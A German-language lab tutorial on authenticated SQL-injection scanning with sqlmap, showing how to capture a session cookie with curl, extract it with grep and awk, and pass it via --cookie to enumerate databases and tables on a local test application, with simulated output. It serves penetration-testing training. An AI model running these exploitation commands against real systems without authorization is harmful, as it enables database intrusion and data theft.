Authentifizierte Scans mit Cookies in sqlmap verwalten

Kali LinuxBeginner
Jetzt üben

Einleitung

Beim Penetration Testing von Webanwendungen existieren viele Schwachstellen in Bereichen, die eine Benutzerauthentifizierung erfordern. Tools wie sqlmap, ein leistungsstarkes Open-Source-Penetration-Testing-Tool, das den Prozess der Erkennung und Ausnutzung von SQL-Injection-Schwachstellen automatisiert, benötigen eine Möglichkeit, auf diese geschützten Bereiche zuzugreifen. Dieses Lab führt Sie durch den Prozess der Durchführung authentifizierter Scans mithilfe von Session-Cookies mit sqlmap. Sie lernen, wie Sie Session-Cookies aus einem Browser extrahieren und diese dann verwenden, um sqlmap anzuweisen, eine authentifizierte Sitzung während des Scans aufrechtzuerhalten. Diese Technik ist entscheidend für umfassende Sicherheitsbewertungen moderner Webanwendungen.

Anmeldung bei einer Ziel-Webanwendung

In diesem Schritt simulieren Sie die Anmeldung bei einer Ziel-Webanwendung. Für dieses Lab gehen wir davon aus, dass lokal eine Webanwendung läuft, die eine Authentifizierung erfordert. Sie verwenden curl, um eine Login-Anfrage zu simulieren und einen Session-Cookie zu erhalten. In einem realen Szenario würden Sie sich normalerweise über einen Webbrowser anmelden.

Zuerst simulieren wir eine erfolgreiche Anmeldung bei einer hypothetischen Anwendung. Wir verwenden curl, um eine POST-Anfrage mit Dummy-Anmeldedaten zu senden. Die Antwort des Servers enthält einen Set-Cookie-Header, wenn die Anmeldung erfolgreich ist.

curl -c cookiejar.txt -X POST -d "username=admin&password=password" http://localhost:8080/login

Die Option -c cookiejar.txt weist curl an, alle empfangenen Cookies in eine Datei namens cookiejar.txt zu schreiben. Nach Ausführung dieses Befehls sollte eine Datei namens cookiejar.txt in Ihrem aktuellen Verzeichnis (~/project) erstellt werden.

Nun sehen wir uns den Inhalt der Datei cookiejar.txt an, um den Session-Cookie zu sehen.

cat cookiejar.txt

Sie sollten eine ähnliche Ausgabe sehen, die die Session-Cookie-Informationen enthält:

## Netscape HTTP Cookie File
## http://curl.haxx.se/docs/cookiejar.html
## This file was generated by curl! Edit at your own risk.

localhost	FALSE	/	FALSE	0	PHPSESSID	a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6

Der wichtige Teil hier ist der Wert von PHPSESSID (z. B. a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6). Dies ist Ihr Session-Cookie.

In diesem Schritt lernen Sie, wie Sie den Session-Cookie-String manuell extrahieren. Während curl ihn im vorherigen Schritt automatisch in cookiejar.txt gespeichert hat, ist das Verständnis der manuellen Extraktion für reale Szenarien, in denen Sie sich möglicherweise über einen Webbrowser anmelden, von entscheidender Bedeutung.

Aus der Datei cookiejar.txt müssen Sie den eigentlichen Cookie-String identifizieren. In unserem Beispiel ist dies PHPSESSID=a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6.

Sie können grep und awk verwenden, um nur den Cookie-Wert aus der Datei cookiejar.txt zu extrahieren.

grep "PHPSESSID" cookiejar.txt | awk '{print $6"="$7}'

Dieser Befehl gibt nur den Cookie-String aus, zum Beispiel:

PHPSESSID=a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6

Dies ist der String, den Sie sqlmap mit dem Flag --cookie übergeben werden. Kopieren Sie diesen String, da Sie ihn im nächsten Schritt benötigen werden.

Nachdem Sie das Session-Cookie extrahiert haben, können Sie es mit sqlmap verwenden, um einen authentifizierten Scan durchzuführen. Das --cookie-Flag in sqlmap ermöglicht es Ihnen, den Wert des HTTP-Cookie-Headers anzugeben.

Für dieses Lab gehen wir davon aus, dass eine anfällige Seite unter http://localhost:8080/authenticated_page.php?id=1 existiert. Diese Seite erfordert die Anwesenheit des PHPSESSID-Cookies für den Zugriff.

Ersetzen Sie YOUR_COOKIE_STRING durch den tatsächlichen Cookie-String, den Sie im vorherigen Schritt extrahiert haben (z. B. PHPSESSID=a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6).

sqlmap -u "http://localhost:8080/authenticated_page.php?id=1" --cookie="YOUR_COOKIE_STRING" --batch --forms --level=1 --risk=1

Lassen Sie uns den sqlmap-Befehl aufschlüsseln:

  • -u "http://localhost:8080/authenticated_page.php?id=1": Gibt die Ziel-URL an.
  • --cookie="YOUR_COOKIE_STRING": Stellt sqlmap das Session-Cookie zur Verfügung. Dies ist der entscheidende Teil für authentifizierte Scans.
  • --batch: Führt sqlmap im nicht-interaktiven Modus aus und akzeptiert Standardauswahlen.
  • --forms: Weist sqlmap an, Formulare auf der Ziel-URL zu parsen und zu testen.
  • --level=1 --risk=1: Legt die Erkennungsstufe und das Risiko fest. Für einen schnellen Test sind Stufe 1 und Risiko 1 ausreichend.

Führen Sie den Befehl aus. sqlmap beginnt mit dem Scannen der angegebenen URL und verwendet das bereitgestellte Cookie, um die authentifizierte Sitzung aufrechtzuerhalten.

        _
       ___ ___ ___ ___
      |_ -| . | . | . |
      |___|_  |_  |___|
        |_|___|
    sqlmap/1.6.12#stable (identifying back-end DBMS)
[!] legal disclaimer: sqlmap is provided 'as is', without warranty of any kind, express or implied, including but not limited to the warranties of merchantability, fitness for a particular purpose and noninfringement. in no event shall the authors or copyright holders be liable for any claim, damages or other liability, whether in an action of contract, tort or otherwise, arising from, out of or in connection with the software or the use or other dealings in the software.

[!] you are running an outdated version of sqlmap. The '1.6.12#stable' is the latest stable version
[!] to disable this notification set 'allow_update_check' option to 'False' in your sqlmap configuration file (sqlmap.conf)

[00:00:00] [INFO] starting @00:00:00

... (sqlmap output will vary based on target and findings) ...

[00:00:XX] [INFO] fetched data: 'id=1'
[00:00:XX] [INFO] the back-end DBMS is MySQL
web server operating system: Linux
web application technology: PHP 8.x, Apache 2.4.x
back-end DBMS: MySQL >= 5.0.0
[00:00:XX] [INFO] closing @00:00:XX

Die Ausgabe zeigt den Fortschritt von sqlmap und alle gefundenen Ergebnisse. Wenn der Scan ohne Authentifizierungsfehler fortgesetzt wird, bedeutet dies, dass sqlmap das Cookie erfolgreich verwendet hat.

Ausführen eines Scans gegen eine Seite, die Authentifizierung erfordert

In diesem Schritt verfeinern wir unseren sqlmap-Befehl, um gezielt eine Seite anzusprechen, von der bekannt ist, dass sie eine Authentifizierung erfordert und möglicherweise anfällig ist. Wir verwenden eine etwas ausführlichere Ausgabe, um das Verhalten von sqlmap zu beobachten.

Nehmen wir an, authenticated_page.php ist tatsächlich anfällig für SQL-Injection über den id-Parameter. Wir werden das --dbs-Flag verwenden, um Datenbanken aufzulisten, was ein üblicher erster Schritt bei der Ausnutzung von SQL-Injection ist.

Ersetzen Sie auch hier YOUR_COOKIE_STRING durch Ihren tatsächlichen Session-Cookie.

sqlmap -u "http://localhost:8080/authenticated_page.php?id=1" --cookie="YOUR_COOKIE_STRING" --dbs --batch --forms --level=1 --risk=1

Das --dbs-Flag versucht, die Datenbanknamen aufzulisten. Wenn sqlmap den Cookie erfolgreich verwendet, sollte es in der Lage sein, auf die Seite zuzugreifen und mit der Datenbankaufzählung fortzufahren.

Beobachten Sie die Ausgabe. Wenn sqlmap das Finden von Datenbanken meldet (z. B. information_schema, mysql, testdb), bestätigt dies, dass der authentifizierte Scan erfolgreich war. Wenn es "no injectable parameters found" oder "page not accessible" meldet, könnte dies auf ein Problem mit dem Cookie oder der Ziel-URL hinweisen.

        _
       ___ ___ ___ ___
      |_ -| . | . | . |
      |___|_  |_  |___|
        |_|___|
    sqlmap/1.6.12#stable (identifying back-end DBMS)

... (initial checks) ...

[00:00:XX] [INFO] the back-end DBMS is MySQL
web server operating system: Linux
web application technology: PHP 8.x, Apache 2.4.x
back-end DBMS: MySQL >= 5.0.0
[00:00:XX] [INFO] fetching database names
[00:00:XX] [INFO] retrieved database names: ['information_schema', 'mysql', 'performance_schema', 'sys', 'testdb']
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
[*] testdb

[00:00:XX] [INFO] closing @00:00:XX

Das Vorhandensein von Datenbanknamen in der Ausgabe bestätigt, dass sqlmap auf die authentifizierte Seite zugreifen und den Injection-Test durchführen konnte.

Bestätigen, dass der Scan als authentifizierter Benutzer ausgeführt wird

In diesem letzten Schritt bestätigen wir, dass sqlmap tatsächlich als authentifizierter Benutzer agiert, indem wir sein Verhalten und mögliche Ergebnisse beobachten. Ein wichtiger Indikator ist, ob sqlmap auf Seiten zugreifen und Parameter testen kann, die nur nach dem Login sichtbar sind.

Wenn sqlmap im vorherigen Schritt erfolgreich Datenbanken aufgeführt hat, ist dies eine starke Bestätigung. Um dies weiter zu untermauern, können Sie versuchen, Daten aus einer der entdeckten Datenbanken, z. B. testdb, auszulesen.

Ersetzen Sie YOUR_COOKIE_STRING durch Ihren tatsächlichen Session-Cookie.

sqlmap -u "http://localhost:8080/authenticated_page.php?id=1" --cookie="YOUR_COOKIE_STRING" -D testdb --tables --batch --forms --level=1 --risk=1

Hier gibt -D testdb die zu targetierende Datenbank an, und --tables versucht, Tabellen innerhalb dieser Datenbank aufzulisten. Wenn sqlmap Tabellen aus testdb auflisten kann, beweist dies eindeutig, dass es im authentifizierten Kontext arbeitet.

        _
       ___ ___ ___ ___
      |_ -| . | . | . |
      |___|_  |_  |___|
        |_|___|
    sqlmap/1.6.12#stable (identifying back-end DBMS)

... (initial checks) ...

[00:00:XX] [INFO] the back-end DBMS is MySQL
web server operating system: Linux
web application technology: PHP 8.x, Apache 2.4.x
back-end DBMS: MySQL >= 5.0.0
[00:00:XX] [INFO] fetching tables for database 'testdb'
[00:00:XX] [INFO] retrieved table names for database 'testdb': ['users', 'products']
Database: testdb
[2 tables]
+----------+
| products |
| users    |
+----------+

[00:00:XX] [INFO] closing @00:00:XX

Die Ausgabe, die Tabellennamen (z. B. users, products) unter der Datenbank testdb anzeigt, bestätigt, dass sqlmap die authentifizierte Sitzung erfolgreich aufrechterhalten und tiefere Enumerationen innerhalb des geschützten Bereichs der Anwendung durchführen konnte. Dies demonstriert die Effektivität der Verwendung von Cookies für authentifizierte Scans.

Zusammenfassung

In diesem Lab haben Sie erfolgreich gelernt, wie Sie mit sqlmap authentifizierte Scans durchführen, indem Sie Session-Cookies nutzen. Sie haben damit begonnen, einen Login in eine Webanwendung zu simulieren und den Session-Cookie zu extrahieren. Anschließend haben Sie das --cookie-Flag in sqlmap verwendet, um diesen Cookie bereitzustellen, wodurch das Tool auf Seiten zugreifen und diese scannen konnte, die eine Authentifizierung erfordern. Abschließend haben Sie den Erfolg des authentifizierten Scans bestätigt, indem Sie die Fähigkeit von sqlmap beobachtet haben, Datenbanken und Tabellen im geschützten Bereich der Anwendung aufzulisten. Diese Fähigkeit ist grundlegend für die Durchführung umfassender Sicherheitsbewertungen moderner Webanwendungen, bei denen ein Großteil der Funktionalität hinter einem Login liegt.